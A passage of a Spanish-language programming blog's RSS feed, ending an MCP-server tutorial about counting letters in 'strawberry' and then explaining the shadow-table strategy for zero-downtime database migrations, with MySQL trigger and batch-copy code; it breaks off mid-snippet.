href=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1753313069/coffee-bytes/mcp-inspector-panel.jpg_k2td1x.webp&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1753313069/coffee-bytes/mcp-inspector-panel.jpg_k2td1x.webp&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;MCP Inspector panel&#34; width=&#34;286&#34; height=&#34;468&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Si le damos click en donde dice &amp;ldquo;list tools&amp;rdquo; detectará la tool que acabamos de crear.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1753313069/coffee-bytes/mcp-inspector-tools-panel.jpg_fhvq4v.webp&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1753313069/coffee-bytes/mcp-inspector-tools-panel.jpg_fhvq4v.webp&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;MCP Inspector tools panel&#34; width=&#34;1584&#34; height=&#34;355&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Al darle click a la tool se actviará y podremos pasarle nuestro parámetro: una variante de &lt;em&gt;strawberry&lt;/em&gt; con el número de r&amp;rsquo;s que nosotros querramos.&lt;/p&gt;&#xA;&lt;p&gt;Solo recuerda que este parámetro sería el que recibiríamos directamente de nuestro LLM, es él quien se encargaría de devolverlo de acuerdo a que tan bien lea el input del usuario, así que no intentes complicar las cosas con un input complejo, solo variantes de &lt;em&gt;strawberry&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1753313069/coffee-bytes/mcp-strawberry-count-result.jpg_pnon99.webp&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1753313069/coffee-bytes/mcp-strawberry-count-result.jpg_pnon99.webp&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;MCP Inspector input&#34; width=&#34;768&#34; height=&#34;381&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Como puedes ver, el código funciona, el MCP server devuelve nuestro mensaje, en un entorno real este sería recibido por el LLM y le informaría al usuario el número correcto de r&amp;rsquo;s que tiene su variante de &lt;em&gt;strawberry&lt;/em&gt;, sin hacer el ridículo como normalmente haría.&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;h2 id=&#34;para-que-querriamos-crear-un-servidor-mcp&#34;&gt;¿Para que querríamos crear un servidor MCP?&lt;/h2&gt;&#xA;&lt;p&gt;Crear un servidor MCP nos permite conectar un LLM o AI con datos en tiempo real, datos personales, u otra fuente de datos.&lt;/p&gt;&#xA;&lt;p&gt;Anteriormente escribí un post donde explico &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/artificial-intelligence/te-explico-el-model-context-protocol-mcp-y-para-que-sirve/&#34;&gt;como funciona internamente el Model Context Protocol (MCP)&lt;/a&gt;&#xA;, puedes consultarlo si no te conformas con la receta y quieres saber más.&lt;/p&gt;&#xA;&lt;p&gt;En este post voy a detallar como crear un servidor MCP. Vamos a crear uno que solucione &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://community.openai.com/t/incorrect-count-of-r-characters-in-the-word-strawberry/829618&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;uno de los errores más vergonzosos de los LLM; el no saber contar la cantidad de r&amp;rsquo;s&lt;/a&gt;&#xA; en variaciones de la palabra strawberry. Por ejemplo: strawberrrry o strawberrrrrrry.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Migraciones con zero downtime: la estrategia shadow table</title>
      <link>https://coffeebytes.dev/es/databases/migraciones-con-zero-downtime-la-estrategia-shadow-table/</link>
      <pubDate>Fri, 27 Jun 2025 16:14:37 -0600</pubDate>
      <guid>https://coffeebytes.dev/es/databases/migraciones-con-zero-downtime-la-estrategia-shadow-table/</guid>
      
      <category>databases</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;Imagínate esto: son las 2 de la madrugada, estás implementando un «simple» cambio en el tipo de columna en producción y, de repente, toda tu aplicación se cae porque el bloqueo de la tabla está tardando una eternidad. Tu teléfono empieza a vibrar con notificaciones furiosas de Slack y tú intentas explicar frenéticamente a tu equipo por qué la «migración de 5 minutos» lleva 30 minutos en marcha.&lt;/p&gt;&#xA;&lt;h2 id=&#34;que-es-la-estrategia-de-la-shadow-table&#34;&gt;¿Qué es la estrategia de la shadow table?&lt;/h2&gt;&#xA;&lt;p&gt;La estrategia de la shadow table (en español &amp;ldquo;tabla sombra&amp;rdquo;) es como tener un doble para una tabla en tu base de datos. En lugar de modificar directamente la tabla original (y arriesgarte a que tu aplicación colapse), creas una &lt;del&gt;clon sombra&lt;/del&gt; nueva tabla con la estructura deseada, copias gradualmente los datos y luego realizas un cambio rapidísimo.&lt;/p&gt;&#xA;&lt;p&gt;Este es el flujo básico:&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1751079950/coffee-bytes/shadow-table-explanation_gbdhc0.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1751079950/coffee-bytes/shadow-table-explanation_gbdhc0.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Diagrama de la shadow table&#34; width=&#34;996&#34; height=&#34;612&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h2 id=&#34;que-problema-resuelve-la-estrategia-de-la-shadow-table&#34;&gt;¿Qué problema resuelve la estrategia de la shadow table?&lt;/h2&gt;&#xA;&lt;p&gt;Las operaciones tradicionales &lt;em&gt;ALTER TABLE&lt;/em&gt; pueden ser una auténtica pesadilla en producción si se trata de sitios web con miles de millones de registros. Cuando ejecutas algo como &lt;em&gt;ALTER TABLE users MODIFY COLUMN id BIGINT&lt;/em&gt;, la mayoría de los motores de bases de datos:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;strong&gt;Bloquearán toda la tabla&lt;/strong&gt; mientras dure la operación.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Bloquearán todas las lecturas y escrituras&lt;/strong&gt; mientras reestructuran la tabla.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Tardarán una eternidad&lt;/strong&gt; en tablas grandes (estamos hablando de horas para miles de millones de filas).&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Correrán el riesgo de que se agote el tiempo de espera&lt;/strong&gt;, lo que dejará tu base de datos en un estado inconsistente.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;La estrategia de la shadow table resuelve estos problemas dividiendo la &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/go/tutorial-de-migraciones-en-go-con-migrate/&#34;&gt;migración de la base de datos&lt;/a&gt;&#xA; en fragmentos más pequeños y manejables que no requieren bloqueos prolongados. Tu aplicación permanece en línea, los usuarios están contentos y no recibes notificaciones a las 3 de la madrugada.&lt;/p&gt;&#xA;&lt;h3 id=&#34;que-pasa-con-las-tablas-mas-pequenas&#34;&gt;¿Qué pasa con las tablas más pequeñas?&lt;/h3&gt;&#xA;&lt;p&gt;Si tu tabla no tiene millones de filas y no es crítico que la base de datos siga funcionando, siempre puedes enviar un correo electrónico notificando a tus usuarios que tu aplicación estará en mantenimiento durante un breve periodo de tiempo.&lt;/p&gt;&#xA;&lt;p&gt;Nadie te odiará si tu sitio web de imágenes peludas está caído durante un par de horas, pon una página de «toca el césped» y realiza la migración, &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/opinion/no-te-obsesiones-con-el-rendimiento-de-tu-aplicacion-web/&#34;&gt;no te obsesiones innecesariamente con el rendimiento de tu aplicación&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Sin embargo, si ese no es el caso y el negocio está perdiendo dinero por cada segundo que la base de datos está bloqueada&amp;hellip;&lt;/p&gt;&#xA;&lt;h2 id=&#34;pasos-para-realizar-una-modificacion-de-tabla-utilizando-la-estrategia-de-shadow-table&#34;&gt;Pasos para realizar una modificación de tabla utilizando la estrategia de shadow table&lt;/h2&gt;&#xA;&lt;p&gt;Veamos un ejemplo real en el que necesitamos cambiar un ID de usuario de INT a BIGINT porque nos estamos acercando al límite de 2100 millones.&lt;/p&gt;&#xA;&lt;p&gt;Stonks. Enhorabuena si eres tú el propietario.&lt;/p&gt;&#xA;&lt;h3 id=&#34;paso-1-crear-la-shadow-table&#34;&gt;Paso 1: Crear la shadow table&lt;/h3&gt;&#xA;&lt;p&gt;En primer lugar, crea tu nueva tabla con la estructura deseada:&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1751082296/coffee-bytes/shadow-table-copy-data_1_m2qwh7.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1751082296/coffee-bytes/shadow-table-copy-data_1_m2qwh7.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Crear la shadow table&#34; width=&#34;1065&#34; height=&#34;1639&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-sql&#34; data-lang=&#34;sql&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;-- Create the shadow table with the new structure&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;CREATE&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;TABLE&lt;/span&gt; users_new (&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    id &lt;span style=&#34;color:#ff5c57&#34;&gt;BIGINT&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;PRIMARY&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;KEY&lt;/span&gt; AUTO_INCREMENT,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    name &lt;span style=&#34;color:#ff5c57&#34;&gt;VARCHAR&lt;/span&gt;(&lt;span style=&#34;color:#ff9f43&#34;&gt;255&lt;/span&gt;) &lt;span style=&#34;color:#ff6ac1&#34;&gt;NOT&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;NULL&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    email &lt;span style=&#34;color:#ff5c57&#34;&gt;VARCHAR&lt;/span&gt;(&lt;span style=&#34;color:#ff9f43&#34;&gt;255&lt;/span&gt;) &lt;span style=&#34;color:#ff6ac1&#34;&gt;UNIQUE&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;NOT&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;NULL&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    created_at &lt;span style=&#34;color:#ff6ac1&#34;&gt;TIMESTAMP&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;DEFAULT&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;CURRENT_TIMESTAMP&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    updated_at &lt;span style=&#34;color:#ff6ac1&#34;&gt;TIMESTAMP&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;DEFAULT&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;CURRENT_TIMESTAMP&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;ON&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;UPDATE&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;CURRENT_TIMESTAMP&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;) ENGINE&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;InnoDB;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;-- Copy indexes from the original table&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;CREATE&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;INDEX&lt;/span&gt; idx_users_email &lt;span style=&#34;color:#ff6ac1&#34;&gt;ON&lt;/span&gt; users_new(email);&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;CREATE&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;INDEX&lt;/span&gt; idx_users_created_at &lt;span style=&#34;color:#ff6ac1&#34;&gt;ON&lt;/span&gt; users_new(created_at);&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;paso-2-configurar-la-sincronizacion-de-datos&#34;&gt;Paso 2: Configurar la sincronización de datos&lt;/h3&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1751080652/coffee-bytes/shadow-table-sync_v7mgtq.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1751080652/coffee-bytes/shadow-table-sync_v7mgtq.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Sincronizar ambas tablas&#34; width=&#34;996&#34; height=&#34;971&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Aquí es donde las cosas se ponen interesantes. Debes mantener la shadow table sincronizada con la original mientras tu aplicación sigue funcionando como si nada hubiera pasado.&lt;/p&gt;&#xA;&lt;p&gt;Sí, estás duplicando las escrituras y ejecutando dos tablas en lugar de una. Para ello hay dos enfoques:&lt;/p&gt;&#xA;&lt;h4 id=&#34;utilizar-triggers-de-base-de-datos&#34;&gt;Utilizar triggers de base de datos&lt;/h4&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-sql&#34; data-lang=&#34;sql&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;-- Create triggers to keep shadow table in sync&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;DELIMITER&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;$$&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;CREATE&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;TRIGGER&lt;/span&gt; users_insert_sync&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;AFTER&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;INSERT&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;ON&lt;/span&gt; users&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;FOR&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;EACH&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;ROW&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;BEGIN&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;INSERT&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;INTO&lt;/span&gt; users_new (id, name, email, created_at, updated_at)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;VALUES&lt;/span&gt; (&lt;span style=&#34;color:#ff6ac1&#34;&gt;NEW&lt;/span&gt;.id, &lt;span style=&#34;color:#ff6ac1&#34;&gt;NEW&lt;/span&gt;.name, &lt;span style=&#34;color:#ff6ac1&#34;&gt;NEW&lt;/span&gt;.email, &lt;span style=&#34;color:#ff6ac1&#34;&gt;NEW&lt;/span&gt;.created_at, &lt;span style=&#34;color:#ff6ac1&#34;&gt;NEW&lt;/span&gt;.updated_at);&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;END&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;$$&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;CREATE&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;TRIGGER&lt;/span&gt; users_update_sync&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;AFTER&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;UPDATE&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;ON&lt;/span&gt; users&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;FOR&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;EACH&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;ROW&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;BEGIN&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;UPDATE&lt;/span&gt; users_new &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;SET&lt;/span&gt; name &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;NEW&lt;/span&gt;.name, &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        email &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;NEW&lt;/span&gt;.email, &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        updated_at &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;NEW&lt;/span&gt;.updated_at&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;WHERE&lt;/span&gt; id &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;NEW&lt;/span&gt;.id;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;END&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;$$&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;CREATE&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;TRIGGER&lt;/span&gt; users_delete_sync&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;AFTER&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;DELETE&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;ON&lt;/span&gt; users&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;FOR&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;EACH&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;ROW&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;BEGIN&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;DELETE&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;FROM&lt;/span&gt; users_new &lt;span style=&#34;color:#ff6ac1&#34;&gt;WHERE&lt;/span&gt; id &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;OLD&lt;/span&gt;.id;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;END&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;$$&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;DELIMITER&lt;/span&gt; ;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id=&#34;sincronizar-datos-a-nivel-de-aplicacion&#34;&gt;Sincronizar datos a nivel de aplicación&lt;/h4&gt;&#xA;&lt;p&gt;Si lo prefieres, puedes sincronizar los datos a través de la lógica de tu aplicación.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;update_user&lt;/span&gt;(user_id, changes):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;# Original write to main table or database&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    original_db&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;execute(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;UPDATE users SET ...&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;# Shadow write (with transformation)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    shadow_db&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;execute(&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;UPDATE users_new SET name=? ...&amp;#34;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        data[&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;email&amp;#39;&lt;/span&gt;]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    )&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;paso-3-copiar-los-datos-existentes-por-lotes&#34;&gt;Paso 3: Copiar los datos existentes por lotes&lt;/h3&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1751082296/coffee-bytes/shadow-table-copy-data_1_m2qwh7.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1751082296/coffee-bytes/shadow-table-copy-data_1_m2qwh7.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Copiar datos por lotes&#34; width=&#34;1065&#34; height=&#34;1639&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Ahora viene la migración masiva de datos. &lt;strong&gt;Nunca intentes copiar todo de una vez&lt;/strong&gt;, eso es una receta para una catástrofe digital. Recuerda la razón de ser del &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/software-architecture/explicacion-del-patron-de-diseno-worker-pool/&#34;&gt;patrón worker pool&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&lt;p&gt;Asegúrate de tener suficientes recursos y considera hacerlo durante períodos de poco tráfico:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-sql&#34; data-lang=&#34;sql&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;-- Copy data in manageable batches to avoid long locks&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;SET&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;@&lt;/span&gt;batch_size &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span 